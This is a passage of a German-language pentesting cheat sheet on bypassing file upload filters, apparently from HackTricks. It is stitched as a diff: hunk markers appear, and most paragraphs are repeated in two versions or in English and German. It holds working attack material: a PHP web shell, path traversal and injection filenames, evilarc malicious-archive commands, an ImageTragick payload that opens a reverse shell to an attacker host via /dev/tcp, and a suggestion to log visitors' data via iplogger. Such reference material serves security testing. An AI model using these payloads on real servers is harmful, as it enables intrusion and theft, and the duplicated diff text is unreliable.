## **wget File Upload/SSRF Trick**
In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In diesen Fällen könnte der Code prüfen, dass die Extension der heruntergeladenen Dateien in einer Whitelist steht, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings **lässt sich diese Prüfung umgehen.**\
Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +226,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Beachte, dass **eine weitere Option**, die dir vielleicht einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server** so umzuleiten, dass er auf eine andere Datei zeigt, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei unter dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**.
Beachte, dass eine **andere Option**, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die weitergeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die weitergeleitete Seite mit dem im ursprünglichen URL angegebenen Dateinamen herunterladen wird**.
## Tools
## Werkzeuge
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein mächtiges Tool, das Pentesters und Bug Hunters beim Testen von file upload mechanisms unterstützt. Es nutzt verschiedene bug bounty techniques, um den Prozess des Auffindens und Ausnutzens von Vulnerabilities zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters beim Testen von File-Upload-Mechanismen unterstützt. Es nutzt verschiedene bug bounty Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen zu ermöglichen.
### Corrupting upload indices with snprintf quirks (historical)
### Korruption von Upload-Indizes durch snprintf-Eigenheiten (historisch)
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu bauen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im `snprintf()`-Verhalten kann ein sorgfältig gestalteter Einzel-Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als Multi-File-Upload behandelt wird und unsichere Pfade einschlägt). Obwohl heute eher Nischenfälle, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älterem Code wieder auf.
## From File upload to other vulnerabilities
## Vom File-Upload zu anderen Schwachstellen
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen
- Setze **filename** auf `sleep(10)-- -.jpg` und möglicherweise eine **SQL injection** zu erreichen
- Setze **filename** auf `<svg onload=alert(document.domain)>`, um XSS zu erreichen
- Setze **filename** auf `; sleep 10;`, um auf einige command injection zu testen (mehr [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Probiere **different svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Wenn du dem Webserver angeben kannst, ein Image von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- Speziell gestaltete PDFs zu XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den dortigen Anweisungen ausführt.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content, um zu prüfen, ob der Server ein **Antivirus** hat
- Prüfe, ob es eine **Größenbegrenzung** beim Hochladen von Dateien gibt
Hier eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -239,39 +279,40 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
## Zip/Tar File Automatically decompressed Upload
## Zip/Tar-Datei, die beim Upload automatisch entpackt wird
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Lade ein Archiv hoch, das Symlinks zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### In verschiedene Ordner entpacken
### Dekomprimieren in verschiedene Ordner
Die unerwartete Erstellung von Dateien in Verzeichnissen während des Dekomprimierens ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor OS-level command execution durch bösartige Dateiuploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP-Archive-Formats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Obwohl man zunächst annehmen könnte, dass diese Konfiguration Schutz gegen OS-level command execution durch bösartige Datei-Uploads bietet, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP-Archivformats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekompressionsfunktionalität der Zielanwendung manipulieren.
Ein automatisierter Exploit, um solche Dateien zu erstellen, ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Außerdem ist **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzusprechen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dadurch stößt evilarc während seiner Ausführung nicht auf Fehler.
Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen:
Unten ist ein Beispiel für Python-Code, mit dem eine bösartige zip-Datei erstellt wird:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -284,11 +325,11 @@ zip.close()
create_zip()
```
**Missbrauch der Kompression für file spraying**
**Ausnutzen der Kompression für file spraying**
Für weitere Details **siehe den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
1. **Creating a PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die Variable `$_REQUEST` übergeben werden.
```php
<?php
@ -298,57 +339,57 @@ system($cmd);
}?>
```
2. **File Spraying und Erstellung komprimierter Dateien**: Mehrere Dateien werden erstellt und ein zip-Archiv zusammengestellt, das diese Dateien enthält.
2. **File Spraying and Compressed File Creation**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im zip werden mit vi oder einem Hex-Editor verändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
3. **Modifikation mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, wobei "xxA" durch "../" ersetzt wird, um Directory Traversal durchzuführen.
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
## ImageTragic
Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Verwundbarkeit auszunutzen **(ImageMagick , 7.0.1-1)** (siehe den [exploit](https://www.exploit-db.com/exploits/39767))
Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die Schwachstelle **(ImageMagick , 7.0.1-1)** auszunutzen (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Einbetten einer PHP Shell in PNG
## Einbetten einer PHP-Shell in PNG
Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist in bestimmten Anwendungsfällen ein großer Vorteil.
Das Einbetten einer PHP-Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie jeweils häufig zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP-Shell von diesen Operationen unbeeinträchtigt bleiben kann, ist für bestimmte Anwendungsfälle ein bedeutender Vorteil.
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und potenzieller Anwendungen, wird im folgenden Artikel beschrieben: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot-Dateien
Polyglot-Dateien dienen als vielseitiges Werkzeug in der Cybersicherheit und können gleichzeitig in mehreren Dateiformaten gültig existieren. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und agieren wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs prüfen. In vielen Anwendungen ist es üblich, nur bestimmte Dateitypen wie JPEG, GIF oder DOC für Uploads zuzulassen, um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar) zu verringern. Ein Polyglot kann jedoch, indem es die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unbemerkt umgehen.
Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Übliche Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen für Uploads zuzulassen — wie JPEG, GIF oder DOC — um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem er die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Einschränkungen unauffällig umgehen.
Trotz ihrer Anpassungsfähigkeit haben Polyglots Einschränkungen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und eine JPEG darstellen, doch der erfolgreiche Upload kann von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System streng auf erlaubte Extensions achtet, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen; ob der Upload erfolgreich ist, hängt jedoch oft von den Richtlinien der Plattform bezüglich erlaubter Dateiendungen ab. Wenn das System strikt bei den erlaubten Extensions ist, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Gültige JSONs hochladen, als wären es PDF
### Gültige JSONs hochladen, als wären sie PDF
Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Wie man Datei-Typ-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Solange die `%PDF` Magic-Bytes in den ersten 1024 Bytes sind, gilt die Datei als PDF (Beispiel im Post)
- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die library denkt, es sei ein PDF (Beispiel im Post)
- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als das, sodass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil eines echten PDF ein — `file` wird denken, es sei ein PDF
- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 Bytes enthalten sind, gilt die Datei als gültig (Beispiel im Beitrag).
- **`pdflib` library**: Füge ein gefälschtes PDF-Format innerhalb eines Felds im JSON hinzu, sodass die Library denkt, es sei ein PDF (Beispiel im Beitrag).
- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist, sodass es den Inhalt nicht als JSON parsen kann, und füge dann im JSON den Anfangsteil einer echten PDF ein — `file` wird denken, es sei ein PDF.
## Referenzen
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -357,6 +398,9 @@ Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochl
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)